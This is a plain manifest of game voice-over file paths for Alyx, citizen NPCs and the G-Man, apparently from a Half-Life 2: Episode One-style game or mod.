+vo/episode_1/npc/alyx/al_playerdeath04.wav +vo/episode_1/npc/alyx/al_playerfalls01.wav +vo/episode_1/npc/alyx/al_playerfalls02.wav +vo/episode_1/npc/alyx/al_playerfalls03.wav +vo/episode_1/npc/alyx/al_playerreload01.wav +vo/episode_1/npc/alyx/al_playerreload02.wav +vo/episode_1/npc/alyx/al_playerreload03.wav +vo/episode_1/npc/alyx/al_playerseesmonster01.wav +vo/episode_1/npc/alyx/al_playerseesmonster02.wav +vo/episode_1/npc/alyx/al_playerseesmonster03.wav +vo/episode_1/npc/alyx/al_playerstare01.wav +vo/episode_1/npc/alyx/al_playerstare02.wav +vo/episode_1/npc/alyx/al_playerstare03.wav +vo/episode_1/npc/alyx/al_playerstare04.wav +vo/episode_1/npc/alyx/al_player_goodshot01.wav +vo/episode_1/npc/alyx/al_player_goodshot02.wav +vo/episode_1/npc/alyx/al_player_goodshot03.wav +vo/episode_1/npc/alyx/al_player_goodshot04.wav +vo/episode_1/npc/alyx/al_player_healthlow01.wav +vo/episode_1/npc/alyx/al_player_healthlow02.wav +vo/episode_1/npc/alyx/al_player_healthlow03.wav +vo/episode_1/npc/alyx/al_player_healthlow04.wav +vo/episode_1/npc/alyx/al_player_healthlow05.wav +vo/episode_1/npc/alyx/al_player_newweapon01.wav +vo/episode_1/npc/alyx/al_player_newweapon02.wav +vo/episode_1/npc/alyx/al_player_newweapon03.wav +vo/episode_1/npc/alyx/al_player_newweapon04.wav +vo/episode_1/npc/alyx/al_positive01.wav +vo/episode_1/npc/alyx/al_positive02.wav +vo/episode_1/npc/alyx/al_positive03.wav +vo/episode_1/npc/alyx/al_positive04.wav +vo/episode_1/npc/alyx/al_positive05.wav +vo/episode_1/npc/alyx/al_post_combat01.wav +vo/episode_1/npc/alyx/al_post_combat02.wav +vo/episode_1/npc/alyx/al_post_combat03.wav +vo/episode_1/npc/alyx/al_post_combat04.wav +vo/episode_1/npc/alyx/al_post_combat05.wav +vo/episode_1/npc/alyx/al_post_combat06.wav +vo/episode_1/npc/alyx/al_pzcrabs_hatethings01.wav +vo/episode_1/npc/alyx/al_pzcrabs_hatethings02.wav +vo/episode_1/npc/alyx/al_pzcrabs_suck01.wav +vo/episode_1/npc/alyx/al_pzcrabs_suck02.wav +vo/episode_1/npc/alyx/al_pzcrabs_suck03.wav +vo/episode_1/npc/alyx/al_quiet_thanks01.wav +vo/episode_1/npc/alyx/al_quiet_thanks02.wav +vo/episode_1/npc/alyx/al_quiet_thanks03.wav +vo/episode_1/npc/alyx/al_quiet_thanks04.wav +vo/episode_1/npc/alyx/al_rejoin01.wav +vo/episode_1/npc/alyx/al_rejoin02.wav +vo/episode_1/npc/alyx/al_rejoin03.wav +vo/episode_1/npc/alyx/al_rejoin04.wav +vo/episode_1/npc/alyx/al_reload01.wav +vo/episode_1/npc/alyx/al_reload02.wav +vo/episode_1/npc/alyx/al_reload03.wav +vo/episode_1/npc/alyx/al_reload04.wav +vo/episode_1/npc/alyx/al_reload05.wav +vo/episode_1/npc/alyx/al_reload06.wav +vo/episode_1/npc/alyx/al_reloading_new01.wav +vo/episode_1/npc/alyx/al_reloading_new02.wav +vo/episode_1/npc/alyx/al_reloading_new03.wav +vo/episode_1/npc/alyx/al_reloading_new04.wav +vo/episode_1/npc/alyx/al_reloading_new05.wav +vo/episode_1/npc/alyx/al_reloading_new06.wav +vo/episode_1/npc/alyx/al_reloading_new07.wav +vo/episode_1/npc/alyx/al_seemanyfoe01.wav +vo/episode_1/npc/alyx/al_seemanyfoe02.wav +vo/episode_1/npc/alyx/al_seemanyfoe03.wav +vo/episode_1/npc/alyx/al_seemanyfoe04.wav +vo/episode_1/npc/alyx/al_seemanyfoe05.wav +vo/episode_1/npc/alyx/al_seemanyfoe06.wav +vo/episode_1/npc/alyx/al_seemanyfoe07.wav +vo/episode_1/npc/alyx/al_seemanyfoe08.wav +vo/episode_1/npc/alyx/al_seemanyfoe09.wav +vo/episode_1/npc/alyx/al_seemanyfoe10.wav +vo/episode_1/npc/alyx/al_self_healthlow01.wav +vo/episode_1/npc/alyx/al_self_healthlow02.wav +vo/episode_1/npc/alyx/al_startcombat01.wav +vo/episode_1/npc/alyx/al_startcombat02.wav +vo/episode_1/npc/alyx/al_startcombat03.wav +vo/episode_1/npc/alyx/al_startcombat04.wav +vo/episode_1/npc/alyx/al_surround01.wav +vo/episode_1/npc/alyx/al_surround02.wav +vo/episode_1/npc/alyx/al_swamped01.wav +vo/episode_1/npc/alyx/al_swamped02.wav +vo/episode_1/npc/alyx/al_swamped03.wav +vo/episode_1/npc/alyx/al_swamped04.wav +vo/episode_1/npc/alyx/al_swamped05.wav +vo/episode_1/npc/alyx/al_swamped06.wav +vo/episode_1/npc/alyx/al_swamped07.wav +vo/episode_1/npc/alyx/al_swamped08.wav +vo/episode_1/npc/alyx/al_swamped09.wav +vo/episode_1/npc/alyx/al_swamped10.wav +vo/episode_1/npc/alyx/al_swamped11.wav +vo/episode_1/npc/alyx/al_swamped12.wav +vo/episode_1/npc/alyx/al_swamped13.wav +vo/episode_1/npc/alyx/al_takeammo.wav +vo/episode_1/npc/alyx/al_thanksforhelp01.wav +vo/episode_1/npc/alyx/al_thanksforhelp02.wav +vo/episode_1/npc/alyx/al_thanksforhelp03.wav +vo/episode_1/npc/alyx/al_uggh01.wav +vo/episode_1/npc/alyx/al_uggh02.wav +vo/episode_1/npc/alyx/al_uggh03.wav +vo/episode_1/npc/alyx/al_uptoyounow.wav +vo/episode_1/npc/alyx/al_urgecits01.wav +vo/episode_1/npc/alyx/al_urgecits02.wav +vo/episode_1/npc/alyx/al_urgecits03.wav +vo/episode_1/npc/alyx/al_urgecits04.wav +vo/episode_1/npc/alyx/al_urgecits05.wav +vo/episode_1/npc/alyx/al_welcome01.wav +vo/episode_1/npc/alyx/al_welcome02.wav +vo/episode_1/npc/alyx/al_welcome03.wav +vo/episode_1/npc/alyx/al_welcome04.wav +vo/episode_1/npc/alyx/al_zombie_itsalive01.wav +vo/episode_1/npc/alyx/al_zombie_liveone01.wav +vo/episode_1/npc/alyx/al_zombie_liveone02.wav +vo/episode_1/npc/alyx/al_zombine_grenadewarn01.wav +vo/episode_1/npc/alyx/al_zombine_grenadewarn02.wav +vo/episode_1/npc/alyx/al_zombine_grenadewarn03.wav +vo/episode_1/npc/female01/cit_alert_antlions01.wav +vo/episode_1/npc/female01/cit_alert_antlions02.wav +vo/episode_1/npc/female01/cit_alert_antlions03.wav +vo/episode_1/npc/female01/cit_alert_antlions04.wav +vo/episode_1/npc/female01/cit_alert_antlions05.wav +vo/episode_1/npc/female01/cit_alert_antlions06.wav +vo/episode_1/npc/female01/cit_alert_antlions07.wav +vo/episode_1/npc/female01/cit_alert_antlions08.wav +vo/episode_1/npc/female01/cit_alert_antlions09.wav +vo/episode_1/npc/female01/cit_alert_antlions10.wav +vo/episode_1/npc/female01/cit_alert_antlions11.wav +vo/episode_1/npc/female01/cit_alert_antlions12.wav +vo/episode_1/npc/female01/cit_alert_antlions13.wav +vo/episode_1/npc/female01/cit_alert_antlions14.wav +vo/episode_1/npc/female01/cit_alert_antlions15.wav +vo/episode_1/npc/female01/cit_alert_antlions16.wav +vo/episode_1/npc/female01/cit_alert_antlions17.wav +vo/episode_1/npc/female01/cit_alert_antlions18.wav +vo/episode_1/npc/female01/cit_alert_gunship01.wav +vo/episode_1/npc/female01/cit_alert_gunship02.wav +vo/episode_1/npc/female01/cit_alert_gunship03.wav +vo/episode_1/npc/female01/cit_alert_gunship04.wav +vo/episode_1/npc/female01/cit_alert_gunship05.wav +vo/episode_1/npc/female01/cit_alert_gunship06.wav +vo/episode_1/npc/female01/cit_alert_gunship07.wav +vo/episode_1/npc/female01/cit_alert_gunship08.wav +vo/episode_1/npc/female01/cit_alert_head01.wav +vo/episode_1/npc/female01/cit_alert_head02.wav +vo/episode_1/npc/female01/cit_alert_head03.wav +vo/episode_1/npc/female01/cit_alert_head04.wav +vo/episode_1/npc/female01/cit_alert_head05.wav +vo/episode_1/npc/female01/cit_alert_head06.wav +vo/episode_1/npc/female01/cit_alert_head07.wav +vo/episode_1/npc/female01/cit_alert_head08.wav +vo/episode_1/npc/female01/cit_alert_rollers01.wav +vo/episode_1/npc/female01/cit_alert_rollers02.wav +vo/episode_1/npc/female01/cit_alert_rollers03.wav +vo/episode_1/npc/female01/cit_alert_soldier01.wav +vo/episode_1/npc/female01/cit_alert_soldier02.wav +vo/episode_1/npc/female01/cit_alert_soldier03.wav +vo/episode_1/npc/female01/cit_alert_soldier04.wav +vo/episode_1/npc/female01/cit_alert_soldier05.wav +vo/episode_1/npc/female01/cit_alert_soldier06.wav +vo/episode_1/npc/female01/cit_alert_soldier07.wav +vo/episode_1/npc/female01/cit_alert_soldier_above.wav +vo/episode_1/npc/female01/cit_alert_zombie01.wav +vo/episode_1/npc/female01/cit_alert_zombie02.wav +vo/episode_1/npc/female01/cit_alert_zombie03.wav +vo/episode_1/npc/female01/cit_alert_zombie04.wav +vo/episode_1/npc/female01/cit_alert_zombie05.wav +vo/episode_1/npc/female01/cit_alert_zombie06.wav +vo/episode_1/npc/female01/cit_alert_zombie07.wav +vo/episode_1/npc/female01/cit_alert_zombie08.wav +vo/episode_1/npc/female01/cit_buddykilled01.wav +vo/episode_1/npc/female01/cit_buddykilled02.wav +vo/episode_1/npc/female01/cit_buddykilled03.wav +vo/episode_1/npc/female01/cit_buddykilled04.wav +vo/episode_1/npc/female01/cit_buddykilled05.wav +vo/episode_1/npc/female01/cit_buddykilled06.wav +vo/episode_1/npc/female01/cit_buddykilled07.wav +vo/episode_1/npc/female01/cit_buddykilled08.wav +vo/episode_1/npc/female01/cit_buddykilled09.wav +vo/episode_1/npc/female01/cit_buddykilled10.wav +vo/episode_1/npc/female01/cit_buddykilled11.wav +vo/episode_1/npc/female01/cit_buddykilled12.wav +vo/episode_1/npc/female01/cit_buddykilled13.wav +vo/episode_1/npc/female01/cit_buddykilled14.wav +vo/episode_1/npc/female01/cit_buddykilled15.wav +vo/episode_1/npc/female01/cit_comehere.wav +vo/episode_1/npc/female01/cit_denytrain01.wav +vo/episode_1/npc/female01/cit_denytrain02.wav +vo/episode_1/npc/female01/cit_denytrain03.wav +vo/episode_1/npc/female01/cit_denytrain04.wav +vo/episode_1/npc/female01/cit_evac_casualty01.wav +vo/episode_1/npc/female01/cit_evac_casualty02.wav +vo/episode_1/npc/female01/cit_evac_casualty03.wav +vo/episode_1/npc/female01/cit_evac_casualty04.wav +vo/episode_1/npc/female01/cit_evac_casualty05.wav +vo/episode_1/npc/female01/cit_evac_casualty06.wav +vo/episode_1/npc/female01/cit_evac_casualty07.wav +vo/episode_1/npc/female01/cit_evac_casualty08.wav +vo/episode_1/npc/female01/cit_evac_casualty09.wav +vo/episode_1/npc/female01/cit_evac_casualty10.wav +vo/episode_1/npc/female01/cit_evac_casualty11.wav +vo/episode_1/npc/female01/cit_evac_defendus01.wav +vo/episode_1/npc/female01/cit_evac_defendus02.wav +vo/episode_1/npc/female01/cit_evac_defendus03.wav +vo/episode_1/npc/female01/cit_evac_defendus04.wav +vo/episode_1/npc/female01/cit_evac_defendus05.wav +vo/episode_1/npc/female01/cit_evac_defendus06.wav +vo/episode_1/npc/female01/cit_evac_defendus07.wav +vo/episode_1/npc/female01/cit_evac_defendus08.wav +vo/episode_1/npc/female01/cit_evac_defendus09.wav +vo/episode_1/npc/female01/cit_evac_defendusvance.wav +vo/episode_1/npc/female01/cit_evac_enemies01.wav +vo/episode_1/npc/female01/cit_evac_enemies02.wav +vo/episode_1/npc/female01/cit_evac_no01.wav +vo/episode_1/npc/female01/cit_evac_no02.wav +vo/episode_1/npc/female01/cit_evac_no03.wav +vo/episode_1/npc/female01/cit_evac_no04.wav +vo/episode_1/npc/female01/cit_evac_ok01.wav +vo/episode_1/npc/female01/cit_evac_ok02.wav +vo/episode_1/npc/female01/cit_evac_ok03.wav +vo/episode_1/npc/female01/cit_evac_ok04.wav +vo/episode_1/npc/female01/cit_evac_thanks01.wav +vo/episode_1/npc/female01/cit_evac_thanks02.wav +vo/episode_1/npc/female01/cit_evac_thanks03.wav +vo/episode_1/npc/female01/cit_evac_thanks04.wav +vo/episode_1/npc/female01/cit_evac_thanks05.wav +vo/episode_1/npc/female01/cit_evac_thanksalyx.wav +vo/episode_1/npc/female01/cit_getaboard01.wav +vo/episode_1/npc/female01/cit_getaboard02.wav +vo/episode_1/npc/female01/cit_getaboard03.wav +vo/episode_1/npc/female01/cit_getaboard04.wav +vo/episode_1/npc/female01/cit_getaboard05.wav +vo/episode_1/npc/female01/cit_getoffstreet.wav +vo/episode_1/npc/female01/cit_greatshot.wav +vo/episode_1/npc/female01/cit_greet_alyx01.wav +vo/episode_1/npc/female01/cit_greet_alyx02.wav +vo/episode_1/npc/female01/cit_greet_alyx03.wav +vo/episode_1/npc/female01/cit_greet_alyx04.wav +vo/episode_1/npc/female01/cit_greet_alyx05.wav +vo/episode_1/npc/female01/cit_greet_alyx06.wav +vo/episode_1/npc/female01/cit_greet_alyx07.wav +vo/episode_1/npc/female01/cit_greet_alyx08.wav +vo/episode_1/npc/female01/cit_greet_alyx09.wav +vo/episode_1/npc/female01/cit_greet_alyx10.wav +vo/episode_1/npc/female01/cit_greet_alyx11.wav +vo/episode_1/npc/female01/cit_greet_alyx12.wav +vo/episode_1/npc/female01/cit_gunship.wav +vo/episode_1/npc/female01/cit_heyoverhere.wav +vo/episode_1/npc/female01/cit_hurryup.wav +vo/episode_1/npc/female01/cit_itsaraid.wav +vo/episode_1/npc/female01/cit_jump.wav +vo/episode_1/npc/female01/cit_kill01.wav +vo/episode_1/npc/female01/cit_kill02.wav +vo/episode_1/npc/female01/cit_kill03.wav +vo/episode_1/npc/female01/cit_kill04.wav +vo/episode_1/npc/female01/cit_kill05.wav +vo/episode_1/npc/female01/cit_kill06.wav +vo/episode_1/npc/female01/cit_kill07.wav +vo/episode_1/npc/female01/cit_kill08.wav +vo/episode_1/npc/female01/cit_kill09.wav +vo/episode_1/npc/female01/cit_kill10.wav +vo/episode_1/npc/female01/cit_kill11.wav +vo/episode_1/npc/female01/cit_kill12.wav +vo/episode_1/npc/female01/cit_kill13.wav +vo/episode_1/npc/female01/cit_kill14.wav +vo/episode_1/npc/female01/cit_kill15.wav +vo/episode_1/npc/female01/cit_kill16.wav +vo/episode_1/npc/female01/cit_kill17.wav +vo/episode_1/npc/female01/cit_kill18.wav +vo/episode_1/npc/female01/cit_letyouthru.wav +vo/episode_1/npc/female01/cit_notice_gravgunkill01.wav +vo/episode_1/npc/female01/cit_notice_gravgunkill02.wav +vo/episode_1/npc/female01/cit_notice_gravgunkill03.wav +vo/episode_1/npc/female01/cit_notice_gravgunkill04.wav +vo/episode_1/npc/female01/cit_pain01.wav +vo/episode_1/npc/female01/cit_pain02.wav +vo/episode_1/npc/female01/cit_pain03.wav +vo/episode_1/npc/female01/cit_pain04.wav +vo/episode_1/npc/female01/cit_pain05.wav +vo/episode_1/npc/female01/cit_pain06.wav +vo/episode_1/npc/female01/cit_pain07.wav +vo/episode_1/npc/female01/cit_pain08.wav +vo/episode_1/npc/female01/cit_pain09.wav +vo/episode_1/npc/female01/cit_pain10.wav +vo/episode_1/npc/female01/cit_raidsoldiers.wav +vo/episode_1/npc/female01/cit_reachtrain01.wav +vo/episode_1/npc/female01/cit_reachtrain02.wav +vo/episode_1/npc/female01/cit_reachtrain03.wav +vo/episode_1/npc/female01/cit_reachtrain04.wav +vo/episode_1/npc/female01/cit_reachtrain05.wav +vo/episode_1/npc/female01/cit_remarks01.wav +vo/episode_1/npc/female01/cit_remarks02.wav +vo/episode_1/npc/female01/cit_remarks03.wav +vo/episode_1/npc/female01/cit_remarks04.wav +vo/episode_1/npc/female01/cit_remarks05.wav +vo/episode_1/npc/female01/cit_remarks06.wav +vo/episode_1/npc/female01/cit_remarks07.wav +vo/episode_1/npc/female01/cit_remarks08.wav +vo/episode_1/npc/female01/cit_remarks09.wav +vo/episode_1/npc/female01/cit_remarks10.wav +vo/episode_1/npc/female01/cit_remarks11.wav +vo/episode_1/npc/female01/cit_remarks12.wav +vo/episode_1/npc/female01/cit_remarks13.wav +vo/episode_1/npc/female01/cit_remarks14.wav +vo/episode_1/npc/female01/cit_remarks15.wav +vo/episode_1/npc/female01/cit_remarks16.wav +vo/episode_1/npc/female01/cit_remarks17.wav +vo/episode_1/npc/female01/cit_remarks18.wav +vo/episode_1/npc/female01/cit_remarks19.wav +vo/episode_1/npc/female01/cit_remarks20.wav +vo/episode_1/npc/female01/cit_remarks21.wav +vo/episode_1/npc/female01/cit_remarks22.wav +vo/episode_1/npc/female01/cit_remarks23.wav +vo/episode_1/npc/female01/cit_runforit.wav +vo/episode_1/npc/female01/cit_safehouse.wav +vo/episode_1/npc/female01/cit_shock01.wav +vo/episode_1/npc/female01/cit_shock02.wav +vo/episode_1/npc/female01/cit_shock03.wav +vo/episode_1/npc/female01/cit_shock04.wav +vo/episode_1/npc/female01/cit_shock05.wav +vo/episode_1/npc/female01/cit_squad_flee01.wav +vo/episode_1/npc/female01/cit_squad_flee02.wav +vo/episode_1/npc/female01/cit_squad_flee03.wav +vo/episode_1/npc/female01/cit_squad_flee04.wav +vo/episode_1/npc/female01/cit_squad_flee05.wav +vo/episode_1/npc/female01/cit_stopburrows.wav +vo/episode_1/npc/female01/cit_tellmeaboutit.wav +vo/episode_1/npc/female01/cit_thateverybody.wav +vo/episode_1/npc/female01/cit_theyfoundus.wav +vo/episode_1/npc/female01/cit_thisway.wav +vo/episode_1/npc/female01/cit_twopeople.wav +vo/episode_1/npc/female01/cit_youbet.wav +vo/episode_1/npc/female01/cit_youknowodessa.wav +vo/episode_1/npc/gman/gman_inhale.wav +vo/episode_1/npc/gman/gman_wellseeaboutthat.wav +vo/episode_1/npc/male01/cit_alert_antlions01.wav +vo/episode_1/npc/male01/cit_alert_antlions02.wav +vo/episode_1/npc/male01/cit_alert_antlions03.wav +vo/episode_1/npc/male01/cit_alert_antlions04.wav +vo/episode_1/npc/male01/cit_alert_antlions05.wav +vo/episode_1/npc/male01/cit_alert_antlions06.wav +vo/episode_1/npc/male01/cit_alert_antlions07.wav +vo/episode_1/npc/male01/cit_alert_antlions08.wav +vo/episode_1/npc/male01/cit_alert_antlions09.wav +vo/episode_1/npc/male01/cit_alert_antlions10.wav +vo/episode_1/npc/male01/cit_alert_antlions11.wav +vo/episode_1/npc/male01/cit_alert_antlions12.wav +vo/episode_1/npc/male01/cit_alert_antlions13.wav +vo/episode_1/npc/male01/cit_alert_antlions14.wav +vo/episode_1/npc/male01/cit_alert_antlions15.wav +vo/episode_1/npc/male01/cit_alert_antlions16.wav +vo/episode_1/npc/male01/cit_alert_antlions17.wav +vo/episode_1/npc/male01/cit_alert_antlions18.wav +vo/episode_1/npc/male01/cit_alert_gunship01.wav +vo/episode_1/npc/male01/cit_alert_gunship02.wav +vo/episode_1/npc/male01/cit_alert_gunship03.wav +vo/episode_1/npc/male01/cit_alert_gunship04.wav +vo/episode_1/npc/male01/cit_alert_gunship05.wav +vo/episode_1/npc/male01/cit_alert_gunship06.wav +vo/episode_1/npc/male01/cit_alert_gunship07.wav +vo/episode_1/npc/male01/cit_alert_gunship08.wav +vo/episode_1/npc/male01/cit_alert_head01.wav +vo/episode_1/npc/male01/cit_alert_head02.wav +vo/episode_1/npc/male01/cit_alert_head03.wav +vo/episode_1/npc/male01/cit_alert_head03a.wav +vo/episode_1/npc/male01/cit_alert_head04.wav +vo/episode_1/npc/male01/cit_alert_head05.wav +vo/episode_1/npc/male01/cit_alert_head06.wav +vo/episode_1/npc/male01/cit_alert_head07.wav +vo/episode_1/npc/male01/cit_alert_head08.wav +vo/episode_1/npc/male01/cit_alert_rollers01.wav +vo/episode_1/npc/male01/cit_alert_rollers02.wav +vo/episode_1/npc/male01/cit_alert_rollers03.wav +vo/episode_1/npc/male01/cit_alert_rollers04.wav +vo/episode_1/npc/male01/cit_alert_soldier01.wav +vo/episode_1/npc/male01/cit_alert_soldier02.wav +vo/episode_1/npc/male01/cit_alert_soldier03.wav +vo/episode_1/npc/male01/cit_alert_soldier04.wav +vo/episode_1/npc/male01/cit_alert_soldier05.wav +vo/episode_1/npc/male01/cit_alert_soldier06.wav +vo/episode_1/npc/male01/cit_alert_soldier07.wav +vo/episode_1/npc/male01/cit_alert_soldier_above.wav +vo/episode_1/npc/male01/cit_alert_zombie01.wav +vo/episode_1/npc/male01/cit_alert_zombie02.wav +vo/episode_1/npc/male01/cit_alert_zombie03.wav +vo/episode_1/npc/male01/cit_alert_zombie04.wav +vo/episode_1/npc/male01/cit_alert_zombie05.wav +vo/episode_1/npc/male01/cit_alert_zombie06.wav +vo/episode_1/npc/male01/cit_alert_zombie07.wav +vo/episode_1/npc/male01/cit_alert_zombie08.wav +vo/episode_1/npc/male01/cit_alert_zombie09.wav +vo/episode_1/npc/male01/cit_behindyousfx01.wav +vo/episode_1/npc/male01/cit_behindyousfx02.wav +vo/episode_1/npc/male01/cit_buddykilled01.wav +vo/episode_1/npc/male01/cit_buddykilled02.wav +vo/episode_1/npc/male01/cit_buddykilled03.wav +vo/episode_1/npc/male01/cit_buddykilled04.wav +vo/episode_1/npc/male01/cit_buddykilled05.wav +vo/episode_1/npc/male01/cit_buddykilled06.wav +vo/episode_1/npc/male01/cit_buddykilled07.wav +vo/episode_1/npc/male01/cit_buddykilled08.wav +vo/episode_1/npc/male01/cit_buddykilled09.wav +vo/episode_1/npc/male01/cit_buddykilled10.wav +vo/episode_1/npc/male01/cit_buddykilled11.wav +vo/episode_1/npc/male01/cit_buddykilled12.wav +vo/episode_1/npc/male01/cit_buddykilled13.wav +vo/episode_1/npc/male01/cit_comehere.wav +vo/episode_1/npc/male01/cit_denytrain01.wav +vo/episode_1/npc/male01/cit_denytrain02.wav +vo/episode_1/npc/male01/cit_denytrain03.wav +vo/episode_1/npc/male01/cit_denytrain04.wav +vo/episode_1/npc/male01/cit_evac_casualty01.wav +vo/episode_1/npc/male01/cit_evac_casualty02.wav +vo/episode_1/npc/male01/cit_evac_casualty03.wav +vo/episode_1/npc/male01/cit_evac_casualty04.wav +vo/episode_1/npc/male01/cit_evac_casualty05.wav +vo/episode_1/npc/male01/cit_evac_casualty06.wav +vo/episode_1/npc/male01/cit_evac_casualty07.wav +vo/episode_1/npc/male01/cit_evac_casualty08.wav +vo/episode_1/npc/male01/cit_evac_casualty09.wav +vo/episode_1/npc/male01/cit_evac_casualty10.wav +vo/episode_1/npc/male01/cit_evac_casualty11.wav +vo/episode_1/npc/male01/cit_evac_defendus01.wav +vo/episode_1/npc/male01/cit_evac_defendus02.wav +vo/episode_1/npc/male01/cit_evac_defendus03.wav +vo/episode_1/npc/male01/cit_evac_defendus04.wav +vo/episode_1/npc/male01/cit_evac_defendus05.wav +vo/episode_1/npc/male01/cit_evac_defendus06.wav +vo/episode_1/npc/male01/cit_evac_defendus07.wav +vo/episode_1/npc/male01/cit_evac_defendus08.wav +vo/episode_1/npc/male01/cit_evac_defendus09.wav +vo/episode_1/npc/male01/cit_evac_defendusvance.wav +vo/episode_1/npc/male01/cit_evac_enemies01.wav +vo/episode_1/npc/male01/cit_evac_enemies02.wav +vo/episode_1/npc/male01/cit_evac_no01.wav +vo/episode_1/npc/male01/cit_evac_no02.wav +vo/episode_1/npc/male01/cit_evac_no03.wav +vo/episode_1/npc/male01/cit_evac_no04.wav +vo/episode_1/npc/male01/cit_evac_ok01.wav +vo/episode_1/npc/male01/cit_evac_ok02.wav +vo/episode_1/npc/male01/cit_evac_ok03.wav +vo/episode_1/npc/male01/cit_evac_ok04.wav +vo/episode_1/npc/male01/cit_evac_thanks01.wav +vo/episode_1/npc/male01/cit_evac_thanks02.wav +vo/episode_1/npc/male01/cit_evac_thanks03.wav +vo/episode_1/npc/male01/cit_evac_thanks04.wav +vo/episode_1/npc/male01/cit_evac_thanks05.wav +vo/episode_1/npc/male01/cit_evac_thanksalyx.wav +vo/episode_1/npc/male01/cit_getaboard01.wav +vo/episode_1/npc/male01/cit_getaboard02.wav +vo/episode_1/npc/male01/cit_getaboard03.wav +vo/episode_1/npc/male01/cit_getaboard04.wav +vo/episode_1/npc/male01/cit_getaboard05.wav +vo/episode_1/npc/male01/cit_getoffstreet.wav +vo/episode_1/npc/male01/cit_greatshot.wav +vo/episode_1/npc/male01/cit_greet_alyx01.wav +vo/episode_1/npc/male01/cit_greet_alyx02.wav +vo/episode_1/npc/male01/cit_greet_alyx03.wav +vo/episode_1/npc/male01/cit_greet_alyx04.wav +vo/episode_1/npc/male01/cit_greet_alyx05.wav +vo/episode_1/npc/male01/cit_greet_alyx06.wav +vo/episode_1/npc/male01/cit_greet_alyx07.wav +vo/episode_1/npc/male01/cit_greet_alyx08.wav +vo/episode_1/npc/male01/cit_greet_alyx09.wav +vo/episode_1/npc/male01/cit_greet_alyx10.wav +vo/episode_1/npc/male01/cit_greet_alyx11.wav +vo/episode_1/npc/male01/cit_greet_alyx12.wav +vo/episode_1/npc/male01/cit_greet_alyx13.wav +vo/episode_1/npc/male01/cit_gunship.wav +vo/episode_1/npc/male01/cit_heyoverhere.wav +vo/episode_1/npc/male01/cit_hurryup.wav +vo/episode_1/npc/male01/cit_itsaraid.wav +vo/episode_1/npc/male01/cit_jump.wav +vo/episode_1/npc/male01/cit_kill01.wav +vo/episode_1/npc/male01/cit_kill02.wav +vo/episode_1/npc/male01/cit_kill03.wav +vo/episode_1/npc/male01/cit_kill04.wav +vo/episode_1/npc/male01/cit_kill05.wav +vo/episode_1/npc/male01/cit_kill06.wav +vo/episode_1/npc/male01/cit_kill07.wav +vo/episode_1/npc/male01/cit_kill08.wav +vo/episode_1/npc/male01/cit_kill09.wav +vo/episode_1/npc/male01/cit_kill10.wav +vo/episode_1/npc/male01/cit_kill11.wav +vo/episode_1/npc/male01/cit_kill12.wav +vo/episode_1/npc/male01/cit_kill13.wav +vo/episode_1/npc/male01/cit_kill14.wav +vo/episode_1/npc/male01/cit_kill15.wav +vo/episode_1/npc/male01/cit_kill16.wav +vo/episode_1/npc/male01/cit_kill17.wav +vo/episode_1/npc/male01/cit_kill18.wav +vo/episode_1/npc/male01/cit_kill19.wav +vo/episode_1/npc/male01/cit_kill20.wav +vo/episode_1/npc/male01/cit_letyouthru.wav +vo/episode_1/npc/male01/cit_notice_gravgunkill01.wav +vo/episode_1/npc/male01/cit_notice_gravgunkill02.wav +vo/episode_1/npc/male01/cit_notice_gravgunkill03.wav +vo/episode_1/npc/male01/cit_notice_gravgunkill04.wav +vo/episode_1/npc/male01/cit_pain01.wav +vo/episode_1/npc/male01/cit_pain02.wav +vo/episode_1/npc/male01/cit_pain03.wav +vo/episode_1/npc/male01/cit_pain04.wav +vo/episode_1/npc/male01/cit_pain05.wav +vo/episode_1/npc/male01/cit_pain06.wav +vo/episode_1/npc/male01/cit_pain07.wav +vo/episode_1/npc/male01/cit_pain08.wav +vo/episode_1/npc/male01/cit_pain09.wav +vo/episode_1/npc/male01/cit_pain10.wav +vo/episode_1/npc/male01/cit_pain11.wav +vo/episode_1/npc/male01/cit_pain12.wav +vo/episode_1/npc/male01/cit_pain13.wav +vo/episode_1/npc/male01/cit_raidsoldiers.wav +vo/episode_1/npc/male01/cit_reachtrain01.wav +vo/episode_1/npc/male01/cit_reachtrain02.wav +vo/episode_1/npc/male01/cit_reachtrain03.wav +vo/episode_1/npc/male01/cit_reachtrain04.wav +vo/episode_1/npc/male01/cit_reachtrain05.wav +vo/episode_1/npc/male01/cit_remarks01.wav +vo/episode_1/npc/male01/cit_remarks02.wav +vo/episode_1/npc/male01/cit_remarks03.wav +vo/episode_1/npc/male01/cit_remarks04.wav +vo/episode_1/npc/male01/cit_remarks05.wav +vo/episode_1/npc/male01/cit_remarks06.wav +vo/episode_1/npc/male01/cit_remarks07.wav +vo/episode_1/npc/male01/cit_remarks08.wav +vo/episode_1/npc/male01/cit_remarks09.wav +vo/episode_1/npc/male01/cit_remarks10.wav +vo/episode_1/npc/male01/cit_remarks11.wav +vo/episode_1/npc/male01/cit_remarks12.wav +vo/episode_1/npc/male01/cit_remarks13.wav +vo/episode_1/npc/male01/cit_remarks14.wav +vo/episode_1/npc/male01/cit_remarks15.wav +vo/episode_1/npc/male01/cit_remarks16.wav +vo/episode_1/npc/male01/cit_remarks17.wav +vo/episode_1/npc/male01/cit_remarks18.wav +vo/episode_1/npc/male01/cit_remarks19.wav +vo/episode_1/npc/male01/cit_remarks20.wav +vo/episode_1/npc/male01/cit_remarks21.wav +vo/episode_1/npc/male01/cit_remarks22.wav +vo/episode_1/npc/male01/cit_remarks23.wav +vo/episode_1/npc/male01/cit_runforit.wav +vo/episode_1/npc/male01/cit_safehouse.wav +vo/episode_1/npc/male01/cit_shock01.wav +vo/episode_1/npc/male01/cit_shock02.wav +vo/episode_1/npc/male01/cit_shock03.wav +vo/episode_1/npc/male01/cit_shock04.wav +vo/episode_1/npc/male01/cit_shock05.wav +vo/episode_1/npc/male01/cit_shock06.wav +vo/episode_1/npc/male01/cit_shock07.wav +vo/episode_1/npc/male01/cit_shock08.wav +vo/episode_1/npc/male01/cit_shock09.wav +vo/episode_1/npc/male01/cit_shock10.wav +vo/episode_1/npc/male01/cit_shock11.wav +vo/episode_1/npc/male01/cit_squad_flee01.wav +vo/episode_1/npc/male01/cit_squad_flee02.wav +vo/episode_1/npc/male01/cit_squad_flee03.wav +vo/episode_1/npc/male01/cit_squad_flee04.wav +vo/episode_1/npc/male01/cit_squad_flee05.wav +vo/episode_1/npc/male01/cit_stopburrows.wav +vo/episode_1/npc/male01/cit_tellmeaboutit.wav +vo/episode_1/npc/male01/cit_thateverybody.wav 